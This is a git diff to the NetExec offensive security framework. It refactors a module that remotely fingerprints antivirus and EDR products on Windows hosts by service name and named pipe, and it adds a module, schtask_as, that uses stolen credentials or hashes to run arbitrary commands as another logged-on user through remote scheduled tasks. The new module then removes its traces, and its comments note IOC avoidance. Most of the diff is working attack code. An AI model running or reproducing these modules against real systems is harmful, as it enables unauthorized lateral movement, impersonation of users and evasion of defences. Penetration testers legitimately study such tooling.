diff --git a/nxc/modules/enum_av.py b/nxc/modules/enum_av.py index 0fa878b6..cb5d18d0 100644 --- a/nxc/modules/enum_av.py +++ b/nxc/modules/enum_av.py @@ -2,11 +2,12 @@ # -*- coding: utf-8 -*- # All credit to @an0n_r0 -# project : https://github.com/tothi/serviceDetector +# https://github.com/tothi/serviceDetector +# Module by @mpgn_x64 +# https://twitter.com/mpgn_x64 -from impacket.dcerpc.v5 import lsat, lsad +from impacket.dcerpc.v5 import lsat, lsad, transport from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING -from impacket.dcerpc.v5 import transport import pathlib @@ -27,82 +28,83 @@ class NXCModule: self.module_options = module_options def options(self, context, module_options): - """ """ + """ + """ pass def on_login(self, context, connection): - success = 0 + target = self._get_target(connection) + context.log.debug(f"Detecting installed services on {target} using LsarLookupNames()...") + + results = self._detect_installed_services(context, connection, target) + self.detect_running_processes(context, connection, results) + + self.dump_results(results, connection.hostname, context) + + def _get_target(self, connection): + return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}" + + def _detect_installed_services(self, context, connection, target): results = {} - target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain - context.log.debug("Detecting installed services on {} using LsarLookupNames()...".format(target)) try: lsa = LsaLookupNames( - connection.domain, - connection.username, - connection.password, - target, - connection.kerberos, - connection.domain, - connection.lmhash, - connection.nthash, - connection.aesKey, + domain=connection.domain, + username=connection.username, + password=connection.password, + remote_name=target, + do_kerberos=connection.kerberos, + kdcHost=connection.domain, + lmhash=connection.lmhash, + nthash=connection.nthash, + aesKey=connection.aesKey ) - dce, rpctransport = lsa.connect() + + dce, _ = lsa.connect() policyHandle = lsa.open_policy(dce) - for i, product in enumerate(conf["products"]): + for product in conf["products"]: for service in product["services"]: try: lsa.LsarLookupNames(dce, policyHandle, service["name"]) context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}") - if product["name"] not in results: - results[product["name"]] = {"services": []} - results[product["name"]]["services"].append(service) - except Exception as e: + results.setdefault(product["name"], {"services": []})["services"].append(service) + except: pass - success += 1 + except Exception as e: context.log.fail(str(e)) + return results + + def detect_running_processes(self, context, connection, results): context.log.info(f"Detecting running processes on {connection.host} by enumerating pipes...") try: for f in connection.conn.listPath("IPC$", "\\*"): fl = f.get_longname() - for i, product in enumerate(conf["products"]): + for product in conf["products"]: for pipe in product["pipes"]: if pathlib.PurePath(fl).match(pipe["name"]): context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})") - if product["name"] not in results: - results[product["name"]] = {} - if "pipes" not in results[product["name"]]: - results[product["name"]]["pipes"] = [] - results[product["name"]]["pipes"].append(pipe) - success += 1 + prod_results = results.setdefault(product["name"], {}) + prod_results.setdefault("pipes", []).append(pipe) except Exception as e: context.log.debug(str(e)) - self.dump_results(results, connection.hostname, success, context) + def dump_results(self, results, remoteName, context): + if not results: + context.log.highlight(f"Found NOTHING!") + return - def dump_results(self, results, remoteName, success, context): - # out1 = "On host {} found".format(remoteName) - out1 = "" - for item in results: - out = out1 - if "services" in results[item]: - out += f"{item} INSTALLED" - if "pipes" in results[item]: - out += " and it seems to be RUNNING" - # else: - # for product in conf['products']: - # if (item == product['name']) and (len(product['pipes']) == 0): - # out += " (NamedPipe for this service was not provided in config)" - elif "pipes" in results[item]: - out += f" {item} RUNNING" - context.log.highlight(out) - if (len(results) < 1) and (success > 1): - out = out1 + " NOTHING!" - context.log.highlight(out) + for item, data in results.items(): + message = f"Found {item}" + if "services" in data: + message += " INSTALLED" + if "pipes" in data: + message += " and RUNNING" + elif "pipes" in data: + message += " RUNNING" + context.log.highlight(message) class LsaLookupNames: @@ -121,7 +123,7 @@ class LsaLookupNames: username="", password="", remote_name="", - k=False, + do_kerberos=False, kdcHost="", lmhash="", nthash="", @@ -132,7 +134,7 @@ class LsaLookupNames: self.password = password self.remoteName = remote_name self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]" - self.doKerberos = k + self.doKerberos = do_kerberos self.lmhash = lmhash self.nthash = nthash self.aesKey = aesKey @@ -207,71 +209,56 @@ class LsaLookupNames: conf = { "products": [ + { + "name": "Acronis Cyber Protect Active Protection", + "services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}], + "pipes": [] + }, { "name": "Bitdefender", "services": [ - { - "name": "bdredline_agent", - "description": "Bitdefender Agent RedLine Service", - }, + {"name": "bdredline_agent", "description": "Bitdefender Agent RedLine Service"}, {"name": "BDAuxSrv", "description": "Bitdefender Auxiliary Service"}, - { - "name": "UPDATESRV", - "description": "Bitdefender Desktop Update Service", - }, + {"name": "UPDATESRV", "description": "Bitdefender Desktop Update Service"}, {"name": "VSSERV", "description": "Bitdefender Virus Shield"}, {"name": "bdredline", "description": "Bitdefender RedLine Service"}, {"name": "EPRedline", "description": "Bitdefender Endpoint Redline Service"}, {"name": "EPUpdateService", "description": "Bitdefender Endpoint Update Service"}, {"name": "EPSecurityService", "description": "Bitdefender Endpoint Security Service"}, {"name": "EPProtectedService", "description": "Bitdefender Endpoint Protected Service"}, - {"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"}, + {"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"} ], "pipes": [ - { - "name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe", - "processes": ["EPConsole.exe"], - }, - { - "name": "etw_sensor_pipe_ppl", - "processes": ["EPProtectedService.exe"], - }, - { - "name": "local\\msgbus\\antitracker.low\\*", - "processes": ["bdagent.exe"], - }, - { - "name": "local\\msgbus\\aspam.actions.low\\*", - "processes": ["bdagent.exe"], - }, - { - "name": "local\\msgbus\\bd.process.broker.pipe", - "processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"], - }, + {"name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe", "processes": ["EPConsole.exe"]}, + {"name": "etw_sensor_pipe_ppl", "processes": ["EPProtectedService.exe"]}, + {"name": "local\\msgbus\\antitracker.low\\*", "processes": ["bdagent.exe"]}, + {"name": "local\\msgbus\\aspam.actions.low\\*", "processes": ["bdagent.exe"]}, + {"name": "local\\msgbus\\bd.process.broker.pipe", "processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"]}, {"name": "local\\msgbus\\bdagent*", "processes": ["bdagent.exe"]}, - { - "name": "local\\msgbus\\bdauxsrv", - "processes": ["bdagent.exe", "bdntwrk.exe"], - }, - ], + {"name": "local\\msgbus\\bdauxsrv", "processes": ["bdagent.exe", "bdntwrk.exe"]} + ] }, { - "name": "Windows Defender", + "name": "Carbon Black App Control", + "services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}], + "pipes": [] + }, + { + "name": "CrowdStrike", + "services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}], + "pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}] + }, + { + "name": "Cybereason", "services": [ - { - "name": "WinDefend", - "description": "Windows Defender Antivirus Service", - }, - { - "name": "Sense", - "description": "Windows Defender Advanced Threat Protection Service", - }, - { - "name": "WdNisSvc", - "description": "Windows Defender Antivirus Network Inspection Service", - }, + {"name": "CybereasonActiveProbe", "description": "Cybereason Active Probe"}, + {"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"}, + {"name": "CybereasonBlocki", "description": "Cybereason Execution Prevention"} ], - "pipes": [], + "pipes": [ + {"name": "CybereasonAPConsoleMinionHostIpc_*", "processes": ["minionhost.exe"]}, + {"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]} + ] }, { "name": "ESET", @@ -285,269 +272,108 @@ conf = { "pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}], }, { - "name": "CrowdStrike", + "name": "G DATA Security Client", "services": [ - { - "name": "CSFalconService", - "description": "CrowdStrike Falcon Sensor Service", - } + {"name": "AVKWCtl", "description": "Anti-virus Kit Window Control"}, + {"name": "AVKProxy", "description": "G Data AntiVirus Proxy Service"}, + {"name": "GDScan", "description": "GDSG Data AntiVirus Scan Service"} ], "pipes": [ - { - "name": "CrowdStrike\\{*", - "processes": ["CSFalconContainer.exe", "CSFalconService.exe"], - } - ], - }, - { - "name": "SentinelOne", - "services": [ - { - "name": "SentinelAgent", - "description": "SentinelOne Endpoint Protection Agent", - }, - { - "name": "SentinelStaticEngine", - "description": "Manage static engines for SentinelOne Endpoint Protection", - }, - { - "name": "LogProcessorService", - "description": "Manage logs for SentinelOne Endpoint Protection", - }, - ], - "pipes": [ - {"name": "SentinelAgentWorkerCert.*", "processes": [""]}, - {"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]}, - {"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}, - ], - }, - { - "name": "Carbon Black App Control", - "services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}], - "pipes": [], - }, - { - "name": "Cybereason", - "services": [ - { - "name": "CybereasonActiveProbe", - "description": "Cybereason Active Probe", - }, - {"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"}, - { - "name": "CybereasonBlocki", - "description": "Cybereason Execution Prevention", - }, - ], - "pipes": [ - { - "name": "CybereasonAPConsoleMinionHostIpc_*", - "processes": ["minionhost.exe"], - }, - { - "name": "CybereasonAPServerProxyIpc_*", - "processes": ["minionhost.exe"], - }, - ], + {"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]} + ] }, { "name": "Kaspersky Security for Windows Server", "services": [ - { - "name": "kavfsslp", - "description": "Kaspersky Security Exploit Prevention Service", - }, - - { - "name": "KAVFS", - "description": "Kaspersky Security Service", - }, - - { - "name": "KAVFSGT", - "description": "Kaspersky Security Management Service", - }, - - { - "name": "klnagent", - "description": "Kaspersky Security Center", - }, + {"name": "kavfsslp", "description": "Kaspersky Security Exploit Prevention Service"}, + {"name": "KAVFS", "description": "Kaspersky Security Service"}, + {"name": "KAVFSGT", "description": "Kaspersky Security Management Service"}, + {"name": "klnagent", "description": "Kaspersky Security Center"} ], "pipes": [ - { - "name": "Exploit_Blocker", - "processes": ["kavfswh.exe"], - }, - - ], - }, + {"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]} + ] + }, { - "name": "Trend Micro Endpoint Security", + "name": "Panda Adaptive Defense 360", "services": [ - { - "name": "Trend Micro Endpoint Basecamp", - "description": "Trend Micro Endpoint Basecamp", - }, - - { - "name": "TMBMServer", - "description": "Trend Micro Unauthorized Change Prevention Service", - }, - - { - "name": "Trend Micro Web Service Communicator", - "description": "Trend Micro Web Service Communicator", - }, - - { - "name": "TMiACAgentSvc", - "description": "Trend Micro Application Control Service (Agent)", - }, - { - "name": "CETASvc", - "description": "Trend Micro Cloud Endpoint Telemetry Service", - }, - { - - "name": "iVPAgent", - "description": "Trend Micro Vulnerability Protection Service (Agent)", - } + {"name": "PandaAetherAgent", "description": "Panda Endpoint Agent"}, + {"name": "PSUAService", "description": "Panda Product Service"}, + {"name": "NanoServiceMain", "description": "Panda Cloud Antivirus Service"} ], "pipes": [ - { - "name": "IPC_XBC_XBC_AGENT_PIPE_*", - "processes": ["EndpointBasecamp.exe"], - }, - { - "name": "iacagent_*", - "processes": ["TMiACAgentSvc.exe"], - }, - { - "name": "OIPC_LWCS_PIPE_*", - "processes": ["TmListen.exe"], - }, - { - "name": "Log_ServerNamePipe", - "processes": ["LogServer.exe"], - }, - { - "name": "OIPC_NTRTSCAN_PIPE_*", - "processes": ["Ntrtscan.exe"], - }, + {"name": "NNS_API_IPC_SRV_ENDPOINT", "processes": ["PSANHost.exe"]}, + {"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]} + ] + }, + { + "name": "SentinelOne", + "services": [ + {"name": "SentinelAgent", "description": "SentinelOne Endpoint Protection Agent"}, + {"name": "SentinelStaticEngine", "description": "Manage static engines for SentinelOne Endpoint Protection"}, + {"name": "LogProcessorService", "description": "Manage logs for SentinelOne Endpoint Protection"} ], - }, + "pipes": [ + {"name": "SentinelAgentWorkerCert.*", "processes": [""]}, + {"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]}, + {"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]} + ] + }, { "name": "Symantec Endpoint Protection", "services": [ - { - "name": "SepMasterService", - "description": "Symantec Endpoint Protection", - }, - { - "name": "SepScanService", - "description": "Symantec Endpoint Protection Scan Services", - }, - {"name": "SNAC", "description": "Symantec Network Access Control"}, + {"name": "SepMasterService", "description": "Symantec Endpoint Protection"}, + {"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"}, + {"name": "SNAC", "description": "Symantec Network Access Control"} ], - "pipes": [], + "pipes": [] }, { "name": "Sophos Intercept X", "services": [ - { - "name": "SntpService", - "description": "Sophos Network Threat Protection" - }, - { - "name": "Sophos Endpoint Defense Service", - "description": "Sophos Endpoint Defense Service" - }, - { - "name": "Sophos File Scanner Service", - "description": "Sophos File Scanner Service" - }, - { - "name": "Sophos Health Service", - "description": "Sophos Health Service" - }, - { - "name": "Sophos Live Query", - "description": "Sophos Live Query" - }, - { - "name": "Sophos Managed Threat Response", - "description": "Sophos Managed Threat Response" - }, - { - "name": "Sophos MCS Agent", - "description": "Sophos MCS Agent" - }, - { - "name": "Sophos MCS Client", - "description": "Sophos MCS Client" - }, - { - "name": "Sophos System Protection Service", - "description": "Sophos System Protection Service" - } + {"name": "SntpService", "description": "Sophos Network Threat Protection"}, + {"name": "Sophos Endpoint Defense Service", "description": "Sophos Endpoint Defense Service"}, + {"name": "Sophos File Scanner Service", "description": "Sophos File Scanner Service"}, + {"name": "Sophos Health Service", "description": "Sophos Health Service"}, + {"name": "Sophos Live Query", "description": "Sophos Live Query"}, + {"name": "Sophos Managed Threat Response", "description": "Sophos Managed Threat Response"}, + {"name": "Sophos MCS Agent", "description": "Sophos MCS Agent"}, + {"name": "Sophos MCS Client", "description": "Sophos MCS Client"}, + {"name": "Sophos System Protection Service", "description": "Sophos System Protection Service"} ], "pipes": [ {"name": "SophosUI", "processes": [""]}, {"name": "SophosEventStore", "processes": [""]}, {"name": "sophos_deviceencryption", "processes": [""]}, - {"name": "sophoslivequery_*", "processes": [""]}, - ], + {"name": "sophoslivequery_*", "processes": [""]} + ] }, { - "name": "G DATA Security Client", + "name": "Trend Micro Endpoint Security", "services": [ - { - "name": "AVKWCtl", - "description": "Anti-virus Kit Window Control", - }, - { - "name": "AVKProxy", - "description": "G Data AntiVirus Proxy Service" - }, - { - "name": "GDScan", - "description": "GDSG Data AntiVirus Scan Service", - }, + {"name": "Trend Micro Endpoint Basecamp", "description": "Trend Micro Endpoint Basecamp"}, + {"name": "TMBMServer", "description": "Trend Micro Unauthorized Change Prevention Service"}, + {"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"}, + {"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"}, + {"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"}, + {"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"} ], "pipes": [ - { - "name": "exploitProtectionIPC", - "processes": ["AVKWCtlx64.exe"], - }, - ], + {"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]}, + {"name": "iacagent_*", "processes": ["TMiACAgentSvc.exe"]}, + {"name": "OIPC_LWCS_PIPE_*", "processes": ["TmListen.exe"]}, + {"name": "Log_ServerNamePipe", "processes": ["LogServer.exe"]}, + {"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]} + ] }, { - "name": "Panda Adaptive Defense 360", + "name": "Windows Defender", "services": [ - { - "name": "PandaAetherAgent", - "description": "Panda Endpoint Agent", - }, - { - "name": "PSUAService", - "description": "Panda Product Service" - }, - { - "name": "NanoServiceMain", - "description": "Panda Cloud Antivirus Service", - }, - ], - "pipes": [ - { - "name": "NNS_API_IPC_SRV_ENDPOINT", - "processes": ["PSANHost.exe"], - }, - { - "name": "PSANMSrvcPpal", - "processes": ["PSUAService.exe"], - }, + {"name": "WinDefend", "description": "Windows Defender Antivirus Service"}, + {"name": "Sense", "description": "Windows Defender Advanced Threat Protection Service"}, + {"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"} ], + "pipes": [] } - ] } diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py new file mode 100644 index 00000000..8d8fa599 --- /dev/null +++ b/nxc/modules/schtask_as.py @@ -0,0 +1,289 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import os +from time import sleep +from datetime import datetime +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5 import tsch, transport +from nxc.helpers.misc import gen_random_string +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY + + +class NXCModule: + """ + Execute a scheduled task remotely as a already connected user by @Defte_ + Thanks @Shad0wC0ntr0ller for the idea of removing the hardcoded date that could be used as an IOC + """ + + def options(self, context, module_options): + """ + CMD Command to execute + USER User to execute command as + """ + + self.cmd = self.user = self.time = None + if "CMD" in module_options: + self.cmd = module_options["CMD"] + + if "USER" in module_options: + self.user = module_options["USER"] + + name = "schtask_as" + description = "Remotely execute a scheduled task as a logged on user" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = False + + def on_admin_login(self, context, connection): + self.logger = context.log + if self.cmd is None: + self.logger.fail("You need to specify a CMD to run") + return 1 + if self.user is None: + self.logger.fail("You need to specify a USER to run the command as") + return 1 + + self.logger.display("Connecting to the remote Service control endpoint") + try: + exec_method = TSCH_EXEC( + connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + connection.smb_share_name, + connection.username, + connection.password, + connection.domain, + self.user, + self.cmd, + connection.kerberos, + connection.aesKey, + connection.kdcHost, + connection.hash, + self.logger, + connection.args.get_output_tries, + "C$" # This one shouldn't be hardcoded but I don't know where to retrive the info + ) + + self.logger.display(f"Executing {self.cmd} as {self.user}") + output = exec_method.execute(self.cmd, True) + + try: + if not isinstance(output, str): + output = output.decode(connection.args.codec) + except UnicodeDecodeError: + # Required to decode specific french caracters otherwise it'll print b"" + output = output.decode("cp437") + if output: + self.logger.highlight(output) + + except Exception as e: + if "SCHED_S_TASK_HAS_NOT_RUN" in str(e): + self.logger.fail("Task was not run, seems like the specified user has no active session on the target") + + +class TSCH_EXEC: + def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None): + self.__target = target + self.__username = username + self.__password = password + self.__domain = domain + self.__share_name = share_name + self.__lmhash = "" + self.__nthash = "" + self.__outputBuffer = b"" + self.__retOutput = False + self.__aesKey = aesKey + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + self.__tries = tries + self.__output_filename = None + self.__share = share + self.logger = logger + self.cmd = cmd + self.user = user + + if hashes is not None: + if hashes.find(":") != -1: + self.__lmhash, self.__nthash = hashes.split(":") + else: + self.__nthash = hashes + + if self.__password is None: + self.__password = "" + + stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]" + self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) + + if hasattr(self.__rpctransport, "set_credentials"): + # This method exists only for selected protocol sequences. + self.__rpctransport.set_credentials( + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, + self.__aesKey, + ) + self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + + def execute(self, command, output=False): + self.__retOutput = output + self.execute_handler(command) + return self.__outputBuffer + + def output_callback(self, data): + self.__outputBuffer = data + + def get_current_date(self): + # Get current date and time + now = datetime.now() + + # Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss" + return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] + + def gen_xml(self, command, fileless=False): + xml = f""" + + + + {self.get_current_date()} + true + + 1 + + + + + + {self.user} + HighestAvailable + + + + IgnoreNew + false + false + true + false + + true + false + + true + true + true + false + false + P3D + 7 + + + + cmd.exe +""" + if self.__retOutput: + self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}" + if fileless: + local_ip = self.__rpctransport.get_socket().getsockname()[0] + argument_xml = f" /C {command} > \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2>&1" + else: + argument_xml = f" /C {command} > {self.__output_filename} 2>&1" + + elif self.__retOutput is False: + argument_xml = f" /C {command}" + + self.logger.debug(f"Generated argument XML: {argument_xml}") + xml += argument_xml + xml += """ + + + +""" + return xml + + def execute_handler(self, command, fileless=False): + dce = self.__rpctransport.get_dce_rpc() + if self.__doKerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + + dce.set_credentials(*self.__rpctransport.get_credentials()) + dce.connect() + + tmpName = gen_random_string(8) + + xml = self.gen_xml(command, fileless) + + self.logger.info(f"Task XML: {xml}") + taskCreated = False + self.logger.info(f"Creating task \\{tmpName}") + try: + # windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + dce.bind(tsch.MSRPC_UUID_TSCHS) + tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) + except Exception as e: + if "ERROR_NONE_MAPPED" in str(e): + self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task") + if e.error_code and hex(e.error_code) == "0x80070005": + self.logger.fail("Schtask_as: Create schedule task got blocked.") + if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e): + self.logger.fail(f"User {self.user} does not exist in the domain.") + else: + self.logger.fail(f"Schtask_as: Create schedule task failed: {e}") + return + else: + taskCreated = True + + self.logger.info(f"Running task \\{tmpName}") + tsch.hSchRpcRun(dce, f"\\{tmpName}") + + done = False + while not done: + self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}") + resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}") + if resp["pLastRuntime"]["wYear"] != 0: + done = True + else: + sleep(2) + + self.logger.info(f"Deleting task \\{tmpName}") + tsch.hSchRpcDelete(dce, f"\\{tmpName}") + taskCreated = False + + if taskCreated is True: + tsch.hSchRpcDelete(dce, f"\\{tmpName}") + + if self.__retOutput: + if fileless: + while True: + try: + with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename), "r") as output: + self.output_callback(output.read()) + break + except IOError: + sleep(2) + else: + smbConnection = self.__rpctransport.get_smb_connection() + tries = 1 + while True: + try: + self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}") + smbConnection.getFile(self.__share, self.__output_filename, self.output_callback) + break + except Exception as e: + if tries >= self.__tries: + self.logger.fail("Schtask_as: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'.") + break + if "STATUS_BAD_NETWORK_NAME" in str(e): + self.logger.fail(f"Schtask_as: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)") + break + if "SHARING" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): + sleep(3) + tries += 1 + else: + self.logger.debug(str(e)) + + if self.__outputBuffer: + self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}") + smbConnection.deleteFile(self.__share, self.__output_filename) + + dce.disconnect()